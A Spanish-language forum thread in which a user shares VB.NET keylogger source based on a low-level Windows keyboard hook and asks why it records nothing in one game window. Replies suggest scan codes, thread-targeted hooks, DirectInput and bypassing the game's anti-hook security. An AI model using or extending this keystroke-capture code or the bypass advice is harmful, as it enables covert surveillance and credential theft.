Hola buenas.
Acabo de terminar un KeyLogger basado en un hook de teclado Low-level.
Funciona divinamente en cualquier ventana activa, salvo en la que interesa: una ventana de un juego en concreto. Mientras esta ventana tenga el foco, no me reconoce ningún keystroke. Estoy empezando a pensar que está programado con toda intención jeje
¿Alguien podría decir a qué se podría deber? La verdad es que estoy perdido.
Gracias por adelantado.
Saludos!
El código:
Class Keylogger
#Region "APIS"
Private Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Integer) As Integer
Private Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Integer, _
ByVal lpfn As KeyboardHookDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function GetForegroundWindow Lib "user32.dll" () As Int32
Private Declare Function GetWindowText Lib "user32.dll" Alias "GetWindowTextA" (ByVal hwnd As Int32, _
ByVal lpString As String, _
ByVal cch As Int32) As Int32
Private Delegate Function KeyboardHookDelegate(ByVal Code As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
#End Region
#Region "CONST, ESTRUCTURA, ENUM"
Private Const WM_KEYUP As Integer = &H101
Private Const WM_KEYDOWN As Short = &H100S
Private Const WM_SYSKEYDOWN As Integer = &H104
Private Const WM_SYSKEYUP As Integer = &H105
Public Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scanCode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
#End Region
#Region "VARIABLES"
Private KeyboardHandle As IntPtr = 0
Private LastCheckedForegroundTitle As String = ""
Private callback As KeyboardHookDelegate = Nothing
Private KeyLog As String
#End Region
Public Sub HookKeyboard()
callback = New KeyboardHookDelegate(AddressOf KeyboardCallback)
KeyboardHandle = SetWindowsHookEx(13, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
End Sub
Private Function Hooked()
Return KeyboardHandle <> 0
End Function
Public Function KeyboardCallback(ByVal Code As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Dim CurrentTitle = GetActiveWindowTitle()
Dim Key As String = ""
If wParam = WM_KEYDOWN Or wParam = WM_SYSKEYDOWN Then
Select Case lParam.vkCode
Case virtualKey.K_0 To virtualKey.K_9
Key = ChrW(lParam.vkCode)
Case virtualKey.K_A To virtualKey.K_Z
Key = ChrW(lParam.vkCode + 32)
Case virtualKey.K_Backspace
Key = "[Backspace]"
Case virtualKey.K_Return
Key = "[Enter]"
Case virtualKey.K_Space
Key = " "
Case virtualKey.K_Tab
Key = "[Tab]"
Case virtualKey.K_Esc
Key = "[Escape]"
Case virtualKey.K_Control
Key = "[Control]"
Case virtualKey.K_LControl
Key = "[LControl]"
Case virtualKey.K_RControl
Key = "[RControl]"
Case virtualKey.K_LAlt
Key = "[LAlt]"
Case virtualKey.K_LShift
Key = "[LShift]"
Case virtualKey.K_Numpad0 To virtualKey.K_Numpad9
Key = ChrW(lParam.vkCode)
Case virtualKey.K_PrintScreen
Key = "[PrintScreen]"
Case virtualKey.K_RAlt
Key = "[RAlt]"
Case virtualKey.K_RShift
Key = "[RShift]"
Case 189
Key = "[-]"
Case 191
Key = "ç"
Case 222
Key = "[´]"
Case 226
Key = "[>]"
Case 220
Key = "º"
Case 219
Key = "[¡]"
Case 221
Key = "[']"
Case 110
Key = "[./Supr]"
Case 190
Key = "."
Case 188
Key = ","
End Select
End If
KeyLog &= Key
Return CallNextHookEx(KeyboardHndle, Code, wParam, lParam)
End Function
Esto es .Net
bueno pero lo general para keylogger te dire, veo que comparas la tecla pulsados con valores determinados :P
esto no es muy recomandable es mejor obtener los scancodes, para obtener el caracter correcto quiza seria eso el
porque no te muestra algunos
Solo edita SetWindowsHookEx para que realize un hook a el hilo deaseado... habitualmente los juegos detentan los ganchos y los deshasen... en pocas palabras los eliminan o los evaden, asi que será mejor que primero deshabilites o evadas (bypass) la seguridad del juego.
Dulces Lunas!¡.
Te lo muevo a vb.net
Puede ser que la ventana este protegida contra hooks :P o use otras entradas (como DirectInput)
Ey se agradece mucho vuestra pronta respuesta.
RHL: El problema no es que me muestre unos caracteres y otros no. El problema es que no me reconoce ninguno (y sólo esa ventana cuando está activa). Igualmente gracias por el consejo de los scancodes. Veré como mejorarlo en ese aspecto.
BlackZeroX: Voy a probar lo primero que has dicho que tiene buena pinta. Lo de evadir la seguridad del juego son para mi palabras mayores jeje
raul338: Disculpas por haberlo puesto en el foro equivocado (vi VB y me lancé xD). Veré igual como hacerlo con DirectInput aunque si supierais de alguna información, tutorial o ejemplo de código sobre eso último se agradecería un montón.
Bueno después de intentar lo que me dijisteis decidí probar con WH_JOURNALRECORD en vez de WH_KEYBOARD_LL ya que al parecer la ventana de la aplicación no me reconoce el último.
Ahora bien, me falla el SetWindowsHookEx:
hookHandle = SetWindowsHookEx(HookType.WH_JOURNALRECORD, callback, Process.GetCurrentProcess.MainModule.BaseAddress, 0)
hookHandle = SetWindowsHookEx(HookType.WH_JOURNALRECORD, callback, _
System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.GetExecutingAssembly().GetModules()(0)), 0)
He probado esas dos formas (entre muchas más) y el hookHandle que devuelve la función es nulo (vamos, que no hace el hook).
De nuevo estoy perdido. No sé qué hacer.
¿Podría alguien echarme una mano en esa línea?
Gracias de nuevo por vuestro tiempo